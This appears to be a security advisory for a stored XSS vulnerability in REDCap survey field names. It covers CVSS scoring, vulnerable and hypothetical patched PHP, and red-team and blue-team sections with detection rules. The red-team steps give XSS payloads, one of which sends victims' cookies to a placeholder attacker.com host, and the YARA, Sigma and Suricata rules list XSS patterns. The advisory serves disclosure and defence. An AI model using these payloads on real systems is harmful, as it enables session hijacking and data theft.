CVE-2025-23112

Executive Summary

CVE-2025-23112 is a stored cross-site scripting (XSS) vulnerability discovered in REDCap version 14.9.6. An authenticated attacker can inject malicious JavaScript into the Survey field name. When a user receives and interacts with the survey by clicking on the field name, the injected script executes in the context of the victim's browser. This can lead to session hijacking, data exfiltration, or further compromise of the REDCap instance. The vulnerability has a CVSS score of 6.1 (Medium) and is currently unpatched. No public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have an authenticated REDCap account.
• User Interaction (UI): Required (R) – The victim must click on the survey field name.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and data theft in a research environment makes this a significant concern.

Deep Dive & Mechanics

The vulnerability resides in the Survey field name input within REDCap's survey builder. An authenticated user with permission to create or edit surveys can inject arbitrary HTML and JavaScript into the field name. The application fails to properly sanitize or encode this input before rendering it in the survey view.

Attack Flow:

1. An authenticated attacker navigates to the survey creation/edit interface.
2. The attacker sets the field name to a malicious payload, e.g., <img src=x onerror=alert('XSS')>.
3. The attacker saves the survey and distributes it to other users.
4. When a victim opens the survey and clicks on the field name (e.g., to edit or view it), the browser executes the injected script.
5. The script can steal session cookies, redirect the user, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding for the field name attribute when rendered in the HTML. The application likely uses the field name directly in an HTML attribute without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap 14.9.6):

// In survey rendering logic
echo "<label for='field_$field_name'>$field_name</label>";

The $field_name variable is not sanitized or encoded, allowing injection of HTML/JavaScript.

Patched Code (Hypothetical):

// Properly encode output
echo "<label for='field_" . htmlspecialchars($field_name, ENT_QUOTES, 'UTF-8') . "'>" . htmlspecialchars($field_name, ENT_QUOTES, 'UTF-8') . "</label>";

The htmlspecialchars() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A REDCap instance (version 14.9.6) with an authenticated user account that has survey creation privileges.
• A victim user account that will receive and click on the survey.

Exploitation Steps:

1. Log in to REDCap as an attacker.
2. Navigate to the Survey Builder for a project.
3. Create a new survey or edit an existing one.
4. Add a new field and set the Field Name to the following payload:

   "><img src=x onerror=alert(document.cookie)>
   

5. Save the survey and distribute it to the victim (e.g., via email or project link).
6. When the victim opens the survey and clicks on the field name, the JavaScript executes, displaying the victim's cookies.

Advanced Payload (Session Hijacking):

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection & Prevention:

• Input Validation: Implement strict server-side validation of the field name. Reject any input containing HTML tags or JavaScript.
• Output Encoding: Use htmlspecialchars() or equivalent for all user-supplied data rendered in HTML.
• Content Security Policy (CSP): Deploy a strict CSP that blocks inline scripts and only allows trusted sources.
• Web Application Firewall (WAF): Configure rules to block common XSS payloads in form fields.
• User Awareness: Train users to be cautious when clicking on survey elements from unknown or untrusted sources.

Lab Setup for Testing:

1. Install REDCap 14.9.6 in a controlled environment (e.g., Docker or local server).
2. Create two user accounts: one with survey creation privileges (attacker) and one standard user (victim).
3. Follow the Red Team steps to reproduce the vulnerability.
4. Monitor logs for unusual JavaScript execution or outbound connections.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the REDCap server.
  • Unusual JavaScript files or inline scripts in survey pages.
• Host:
  • Modified survey field names containing HTML tags or JavaScript.
  • Unexpected entries in web server logs (e.g., GET /surveys/... with encoded payloads).
• Application:
  • Survey field names containing <script>, <img onerror>, or similar patterns.
  • User reports of unexpected pop-ups or redirects when clicking survey fields.

Detection Engineering

YARA Rule

rule CVE_2025_23112_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting REDCap survey field names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23112"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /onclick\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-23112 - Stored XSS in REDCap Survey Field Name
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in REDCap survey field names
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
            - 'onclick'
    condition: selection
falsepositives:
    - Legitimate use of HTML in field names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23112 - Stored XSS in REDCap Survey Field Name"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-23112 - Stored XSS in REDCap Survey Field Name"; flow:to_server,established; content:"<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-23112 - Stored XSS in REDCap Survey Field Name"; flow:to_server,established; pcre:"/(<script|<img|onerror|onload|onclick)/i"; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Survey Field Name Editing: Temporarily restrict the ability to edit survey field names to only trusted administrators.
2. Apply Input Sanitization: Manually patch the vulnerable code by adding htmlspecialchars() to the field name output.
3. Deploy WAF Rules: Block requests containing common XSS patterns in survey-related endpoints.

Long-Term Fix:

• Upgrade to a patched version of REDCap once available.
• Implement a Content Security Policy (CSP) to mitigate the impact of any future XSS vulnerabilities.
• Conduct a security audit of all user input fields in the application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter out XSS payloads before they reach the application.

Valters IT